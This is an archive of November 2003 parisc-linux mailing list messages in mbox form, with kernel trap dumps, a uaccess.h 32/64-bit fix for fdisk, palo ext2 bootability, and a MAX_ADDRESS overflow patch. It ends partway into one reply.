Xref: news.gmane.org gmane.linux.ports.parisc:20036

On Sat, Nov 08, 2003 at 12:46:28PM +0000, Joel Soete wrote:
> But if I launch it a second time no more pb???
> Very strange isn't it?

Sounds like a cache coherency/aliasing problem.
Once you start looking at code, watch out for module loading
and shared memory maps type stuff.

grant


From - Thu Nov 08 21:29:52 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Joel Soete <soete.joel@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] fork failed? protection id trap. All suspect.
Date: Sat, 08 Nov 2003 22:36:40 +0000
Lines: 44
Approved: news@gmane.org
Message-ID: <3FAD6FF8.80904@tiscali.be>
References: <3F969FFE00005DB3@ocpmta2.freegates.net> <3FACE5A4.7070003@tiscali.be> <20031108155247.GC21080@systemhalted> <3FAD5C01.7040302@tiscali.be> <20031108220923.GK21080@systemhalted>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622942 1166 80.91.229.3 (22 Nov 2014 02:22:22 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:22:22 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org, Matthew Wilcox <willy@debian.org>
To: Carlos O'Donell <carlos@baldric.uwo.ca>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Nov  8 15:36:26 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from smtp-out.tiscali.be (spoolo2.tiscali.be [62.235.13.211])
	by dsl2.external.hp.com (Postfix) with ESMTP id 6BE494841
	for <parisc-linux@parisc-linux.org>; Sat,  8 Nov 2003 15:36:26 -0700 (MST)
Original-Received: from [62.235.120.220] (helo=tiscali.be)
	by smtp-out.tiscali.be with esmtp (Tiscali.be http://www.tiscali.be)
	id 1AIbgv-0002RC-Kk; Sat, 08 Nov 2003 23:36:25 +0100
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.5) Gecko/20031024 Debian/1.5-2
X-Accept-Language: en
In-Reply-To: <20031108220923.GK21080@systemhalted>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:20037


Carlos O'Donell wrote:
> On Sat, Nov 08, 2003 at 09:11:29PM +0000, Joel Soete wrote:
[...]
>>
>>request_module[net-pf-10]: fork failed, errno 1
>>evolution (pid 879): Protection id trap (code 27)
>>
>>     YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI
>>PSW: 00000000000001000000000000001111 Not tainted
>>r00-03  00000000 103b7524 1015352c 00282b28
>>r04-07  00000000 00000000 00000001 11f27da0
>>r08-11  00000000 00000001 13084548 fffffff2
>>r12-15  419ee608 419ee718 419345a8 419345a8
>>r16-19  419ee608 419345a8 00000070 1371d000
>>r20-23  00000000 00000002 00282b2e 00000000
>>r24-27  11f27da0 00000000 10d0b520 10304010
>>r28-31  00000000 10314a60 130845c0 101532c8
>>sr0-3   00000000 00000000 00000000 00000003
>>sr4-7   00000000 00000000 00000000 00000000
>>
>>IASQ: 00000000 00000000 IAOQ: 10153658 1015365c
>> IIR: 0ed4d240    ISR: 00000003  IOR: 00282b2e
>> CPU:        0   CR30: 13084000 CR31: 103a8000
>> ORIG_R28: 419345a8
>>
>>----------><----------
> 
> 
> I've never seen this perhaps some kernelish people would like to comment
> on this?
> 
it is also possible that my merge broken something (but not enough time 
to check with original cvs, compiling a kernel with c110 is a long job :( )

btw i will try to see how (where) attaching "the thread that is going to 
die."

Thanks a lot,
	Joel





From - Thu Nov 08 21:29:52 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Joel Soete <soete.joel@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] evolution (1.4.5-1) 'protection id trap' [was:
 do_page_fault?]
Date: Sun, 09 Nov 2003 00:11:39 +0000
Lines: 21
Approved: news@gmane.org
Message-ID: <3FAD863B.8010609@tiscali.be>
References: <3F969FFE00005DB3@ocpmta2.freegates.net> <3FACE5A4.7070003@tiscali.be> <20031108223304.GB28929@colo.lackof.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622942 1169 80.91.229.3 (22 Nov 2014 02:22:22 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:22:22 +0000 (UTC)
Cc: Carlos O'Donell <carlos@baldric.uwo.ca>,
	parisc-linux@parisc-linux.org
To: Grant Grundler <grundler@parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Nov  8 17:11:25 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from smtp-out.tiscali.be (spoolo2.tiscali.be [62.235.13.211])
	by dsl2.external.hp.com (Postfix) with ESMTP
	id 622134841; Sat,  8 Nov 2003 17:11:25 -0700 (MST)
Original-Received: from [62.235.120.220] (helo=tiscali.be)
	by smtp-out.tiscali.be with esmtp (Tiscali.be http://www.tiscali.be)
	id 1AIdAq-0004hM-FD; Sun, 09 Nov 2003 01:11:24 +0100
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.5) Gecko/20031024 Debian/1.5-2
X-Accept-Language: en
In-Reply-To: <20031108223304.GB28929@colo.lackof.org>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:20038


Grant Grundler wrote:
> On Sat, Nov 08, 2003 at 12:46:28PM +0000, Joel Soete wrote:
> 
>>But if I launch it a second time no more pb???
>>Very strange isn't it?
> 
> 
> Sounds like a cache coherency/aliasing problem.
> Once you start looking at code, watch out for module loading
> and shared memory maps type stuff.
> 
> grant
> 
Thanks Grant,

I have to put it in my todo list (sorry not enough time in a day)

Joel



From - Thu Nov 08 21:29:52 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John Telek <johnt@cybertech.net.au>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] FXE GFX on B2000
Date: Sun, 9 Nov 2003 14:42:37 +1100
Lines: 15
Approved: news@gmane.org
Message-ID: <20031109144237.A3189@t1000>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622942 1173 80.91.229.3 (22 Nov 2014 02:22:22 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:22:22 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Nov  8 20:23:36 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from cybertech.net.au (t1000.cybertech.net.au [210.8.215.33])
	by dsl2.external.hp.com (Postfix) with ESMTP id 2A1394841
	for <parisc-linux@lists.parisc-linux.org>; Sat,  8 Nov 2003 20:23:34 -0700 (MST)
Original-Received: (from johnt@localhost)
	by cybertech.net.au (8.11.6/8.11.6) id hA93gcF03195
	for parisc-linux@lists.parisc-linux.org; Sun, 9 Nov 2003 14:42:38 +1100
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:20039

Hi,

  I have a 785/B2000 with FXE gfx on board and would like to really get X going and maybe even OpenGL one day.

Can anyone help with pointers to a driver for this card or even some docco to get x running on even a basic frame buffer mode.

I have turned Google and HP websites upside down to no avail.

The system runs HPUX fine but i'm finding it a steep learning curve and dont have access to any software from HP.

I'm keen to get OpenGL going on this box.

Very frustrated,
   John


From - Thu Nov 08 21:29:52 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Randolph Chung <randolph@tausq.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] FXE GFX on B2000
Date: Sat, 8 Nov 2003 19:36:22 -0800
Lines: 12
Approved: news@gmane.org
Message-ID: <20031109033622.GX28967@tausq.org>
References: <20031109144237.A3189@t1000>
Reply-To: Randolph Chung <randolph@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622942 1178 80.91.229.3 (22 Nov 2014 02:22:22 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:22:22 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: John Telek <johnt@cybertech.net.au>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Nov  8 20:33:57 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from pippin.tausq.org (gandalf.tausq.org [64.81.244.94])
	by dsl2.external.hp.com (Postfix) with ESMTP id 41E9E4841
	for <parisc-linux@lists.parisc-linux.org>; Sat,  8 Nov 2003 20:33:57 -0700 (MST)
Original-Received: by pippin.tausq.org (Postfix, from userid 1000)
	id 3CD94CD294; Sat,  8 Nov 2003 19:36:22 -0800 (PST)
Content-Disposition: inline
In-Reply-To: <20031109144237.A3189@t1000>
X-GPG: for GPG key, see http://www.tausq.org/gpg.txt
User-Agent: Mutt/1.5.3i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:20040

>   I have a 785/B2000 with FXE gfx on board and would like to really get X going and maybe even OpenGL one day.
> 

look on the mailing list archives, someone just asked about this the 
other day -- FXE is not supported because of lack of documentation.

randolph
-- 
Randolph Chung
Debian GNU/Linux Developer, hppa/ia64 ports
http://www.tausq.org/


From - Thu Nov 08 21:29:52 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Joel Soete <soete.joel@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] fdisk problems 2.4 <-> 2.6
Date: Sun, 09 Nov 2003 13:50:49 +0000
Lines: 53
Approved: news@gmane.org
Message-ID: <3FAE4639.6030200@tiscali.be>
References: <20031106222958.GJ26869@parcelfarce.linux.theplanet.co.uk> <3F969FFE000092BD@ocpmta2.freegates.net> <20031108015946.GC19436@colo.lackof.org> <3FACCC88.4010404@tiscali.be> <20031108194804.GA28929@colo.lackof.org> <3FAD6B1A.6060605@tiscali.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622943 1182 80.91.229.3 (22 Nov 2014 02:22:23 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:22:23 +0000 (UTC)
Cc: Grant Grundler <grundler@parisc-linux.org>,
	Matthew Wilcox <willy@debian.org>,
	Ruediger Scholz <rscholz@hrzpub.tu-darmstadt.de>
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Nov  9 06:50:34 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from smtp-out.tiscali.be (spoolo2.tiscali.be [62.235.13.211])
	by dsl2.external.hp.com (Postfix) with ESMTP id 2881F4841
	for <parisc-linux@lists.parisc-linux.org>; Sun,  9 Nov 2003 06:50:34 -0700 (MST)
Original-Received: from [62.235.120.220] (helo=tiscali.be)
	by smtp-out.tiscali.be with esmtp (Tiscali.be http://www.tiscali.be)
	id 1AIpxY-00087l-RA; Sun, 09 Nov 2003 14:50:32 +0100
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.5) Gecko/20031024 Debian/1.5-2
X-Accept-Language: en
In-Reply-To: <3FAD6B1A.6060605@tiscali.be>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:20041

Ok Ok :)

Matthew you have right:

Joel Soete wrote:
> ----------><----------
> --- uaccess.h.orig    2004-04-20 19:58:08.000000000 +0200
> +++ uaccess.h-t2    2004-04-20 20:10:41.000000000 +0200
> @@ -42,8 +42,8 @@
>  #if BITS_PER_LONG == 32
>  #define LDD_KERNEL(ptr) __get_kernel_bad();
>  #define LDD_USER(ptr) __get_user_bad();
> -#define STD_KERNEL(x, ptr) __put_kernel_asm64((u32)x,ptr)
> -#define STD_USER(x, ptr) __put_user_asm64((u32)x,ptr)
> +#define STD_KERNEL(x, ptr) __put_kernel_asm64((u64)x,ptr)
> +#define STD_USER(x, ptr) __put_user_asm64((u64)x,ptr)
>  #else
>  #define LDD_KERNEL(ptr) __get_kernel_asm("ldd",ptr)
>  #define LDD_USER(ptr) __get_user_asm("ldd",ptr)
> ----------><----------
I just test it and it seems to be a fix (among others):
hpalin:~# fdisk /dev/sda

Command (m for help): p

Disk /dev/sda: 4294 MB, 4294816768 bytes
133 heads, 62 sectors/track, 1017 cylinders
Units = cylinders of 8246 * 512 = 4221952 bytes

    Device Boot      Start         End      Blocks   Id  System
/dev/sda1   *           1          16       65937   f0  Linux/PA-RISC boot
/dev/sda2              17          48      131936   fd  Linux raid 
autodetect
/dev/sda3              49          79      127813   fd  Linux raid 
autodetect
/dev/sda4              80         993     3768422    5  Extended
/dev/sda5              80         496     1719260   fd  Linux raid 
autodetect
/dev/sda6             497         558      255595   fd  Linux raid 
autodetect
/dev/sda7             559         589      127782   fd  Linux raid 
autodetect
/dev/sda8             590         620      127782   fd  Linux raid 
autodetect
/dev/sda9             621         993     1537848   83  Linux

Can somebody re-test it and ci for me?

hth,
	Joel




From - Thu Nov 08 21:29:52 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@steeleye.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Allow palo partition to be mounted as ext2
Date: 09 Nov 2003 08:54:05 -0600
Lines: 26
Approved: news@gmane.org
Message-ID: <1068389646.2086.5.camel@mulgrave>
References: <1068254037.2120.93.camel@mulgrave> 
	<Pine.LNX.4.58.0311080401180.19538@sal.ucc.ie>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622943 1185 80.91.229.3 (22 Nov 2014 02:22:23 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:22:23 +0000 (UTC)
Cc: Paul Bame <bame@riverrock.org>,
	PARISC list <parisc-linux@lists.parisc-linux.org>
To: "M. Grabert" <xam@cs.ucc.ie>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Nov  9 07:54:20 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from hancock.sc.steeleye.com (nat9.steeleye.com [65.114.3.137])
	by dsl2.external.hp.com (Postfix) with ESMTP id 0C9C44841
	for <parisc-linux@lists.parisc-linux.org>; Sun,  9 Nov 2003 07:54:20 -0700 (MST)
Original-Received: from mulgrave-w.il.steeleye.com (il-ppp.sc.steeleye.com [172.17.6.240])
	by hancock.sc.steeleye.com (8.11.6/linuxconf) with ESMTP id hA9Es6Y11089;
	Sun, 9 Nov 2003 09:54:06 -0500
In-Reply-To: <Pine.LNX.4.58.0311080401180.19538@sal.ucc.ie>
X-Mailer: Ximian Evolution 1.0.8 (1.0.8-9) 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:20042

On Fri, 2003-11-07 at 22:12, M. Grabert wrote:
> I don't know much ext2/3 details, but is there a way that a fsck
> could mess things up? Eg. not an ordinary fsck, but if the user
> runs it manually with special options?

Not fsck, no.  The bad blocks are treated as though they belonged to an
invisible file.  redoing the mke2fs, of course, would destroy the
bootability.

> I suppose the same technique could be also used for other filesystems
> palo supports (in the future).

As long as they have bad block support, yes---that's not a given;
reiserfs doesn't seem to have it, for instance.

Also, since the command has to be run by palo and palo has to know how
to format the bad block list, it's not trivial to do.

However, the ultimate argument is because palo's iplboot loader only
knows about ext2/3, even if you could format the partition as anything
else, you currently wouldn't be able to boot from it.

James




From - Thu Nov 08 21:29:53 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Joel Soete <soete.joel@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] 2.4 64bits MAX_ADDRESS ?
Date: Sun, 09 Nov 2003 17:37:08 +0000
Lines: 85
Approved: news@gmane.org
Message-ID: <3FAE7B44.6020805@tiscali.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622943 1189 80.91.229.3 (22 Nov 2014 02:22:23 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:22:23 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Nov  9 10:36:52 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from smtp-out.tiscali.be (spoolo2.tiscali.be [62.235.13.211])
	by dsl2.external.hp.com (Postfix) with ESMTP id 2FAB04841
	for <parisc-linux@parisc-linux.org>; Sun,  9 Nov 2003 10:36:52 -0700 (MST)
Original-Received: from [62.235.120.220] (helo=tiscali.be)
	by smtp-out.tiscali.be with esmtp (Tiscali.be http://www.tiscali.be)
	id 1AItUZ-0000l7-6A; Sun, 09 Nov 2003 18:36:51 +0100
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.5) Gecko/20031024 Debian/1.5-2
X-Accept-Language: en
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:20043

Hi all,

Being at the very begining of my study of the Mel Goramn' thesis and so 
comparing parisc linux vm implementation, I just try to figure out some 
cst values. I so write I small case:

#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#include <errno.h>

#define PAGE_SHIFT 12
#define PAGE_SIZE       (1UL << PAGE_SHIFT)
#define PAGE_MASK       (~(PAGE_SIZE-1))

/* ifdef __LP64__ */
#define PT_NLEVELS 3
#define PT_INITIAL 4 /* Number of initial page tables */
/*
#else __LP64__
#define PT_NLEVELS 2
#define PT_INITIAL 2
#endif
  */

#define MAX_ADDRBITS (PAGE_SHIFT + (PT_NLEVELS)*(PAGE_SHIFT - PT_NLEVELS))
#define MAX_ADDRESS (1UL << MAX_ADDRBITS)


int main(int argc, char * * argv, char * * env) {

     printf("For remainder:\n");
     printf("Int size: %d,\n", sizeof(int));
     printf("Long size: %d,\n", sizeof(long));
     printf("LongLong size: %d.\n\n", sizeof(long long));
     printf("Some VM cst into parisc 64bits:\n");
     printf("PAGE_SHIFT: %#010x (%u)\n\n", PAGE_SHIFT, PAGE_SHIFT);
     printf("PAGE_SIZE   (1UL << PAGE_SHIFT)\n");
     printf("PAGE_SIZE: %#010x (%u)\n\n", PAGE_SIZE, PAGE_SIZE);
     printf(" PAGE_MASK  (~(PAGE_SIZE-1))\n");
     printf("PAGE_MASK: %#010x (%u) (%d)\n\n", PAGE_MASK, PAGE_MASK, 
PAGE_MASK);

     printf("PT_NLEVELS: %#010x (%u)\n\n", PT_NLEVELS, PT_NLEVELS);
     printf("PT_INITIAL: %#010x (%u)\n\n", PT_INITIAL, PT_INITIAL);
     printf("MAX_ADDRBITS (PAGE_SHIFT + (PT_NLEVELS)*(PAGE_SHIFT - 
PT_NLEVELS))\n");
     printf("MAX_ADDRBITS: %#010x (%u)\n\n", MAX_ADDRBITS, MAX_ADDRBITS);
     printf("MAX_ADDRESS (1UL << MAX_ADDRBITS)\n");
     printf("MAX_ADDRESS: %#010Lx (%ul)\n\n", MAX_ADDRESS, MAX_ADDRESS);
}

which correctly warm me about some 'overflow':

foo.c: In function `main':
foo.c:42: warning: left shift count >= width of type
foo.c:42: warning: left shift count >= width of type

afaik MAX_ADDRBITS==39 against a long contains only 32bits?

So is this patch make sense for all (I trust if we want a day managing 
the some 15 Exabytes of vm available with pa-2.0 processors):
---------><---------
--- include/asm-parisc/pgtable.h.orig	2003-11-09 18:08:10.000000000 +0100
+++ include/asm-parisc/pgtable.h	2003-11-09 18:09:01.000000000 +0100
@@ -72,7 +72,11 @@
  #endif

  #define MAX_ADDRBITS (PAGE_SHIFT + (PT_NLEVELS)*(PAGE_SHIFT - PT_NLEVELS))
+#ifdef __LP64__
+#define MAX_ADDRESS (1ULL << MAX_ADDRBITS)
+#else
  #define MAX_ADDRESS (1UL << MAX_ADDRBITS)
+#endif

  #define SPACEID_SHIFT (MAX_ADDRBITS - 32)

---------><---------

And may be is this not the only change. Please advise.

Thanks inadvance,
	Joel



From - Thu Nov 08 21:29:53 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 2.4 64bits MAX_ADDRESS ?
Date: Sun, 9 Nov 2003 17:48:32 +0000
Lines: 16
Approved: news@gmane.org
Message-ID: <20031109174832.GD2014@parcelfarce.linux.theplanet.co.uk>
References: <3FAE7B44.6020805@tiscali.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622944 1191 80.91.229.3 (22 Nov 2014 02:22:24 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:22:24 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org
To: Joel Soete <soete.joel@tiscali.be>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Nov  9 10:48:38 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id 592324841
	for <parisc-linux@parisc-linux.org>; Sun,  9 Nov 2003 10:48:38 -0700 (MST)
Original-Received: from willy by www.linux.org.uk with local (Exim 4.22)
	id 1AItfs-0002T6-9L; Sun, 09 Nov 2003 17:48:32 +0000
Content-Disposition: inline
In-Reply-To: <3FAE7B44.6020805@tiscali.be>
User-Agent: Mutt/1.4.1i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:20044

On Sun, Nov 09, 2003 at 05:37:08PM +0000, Joel Soete wrote:
> which correctly warm me about some 'overflow':
> 
> foo.c: In function `main':
> foo.c:42: warning: left shift count >= width of type
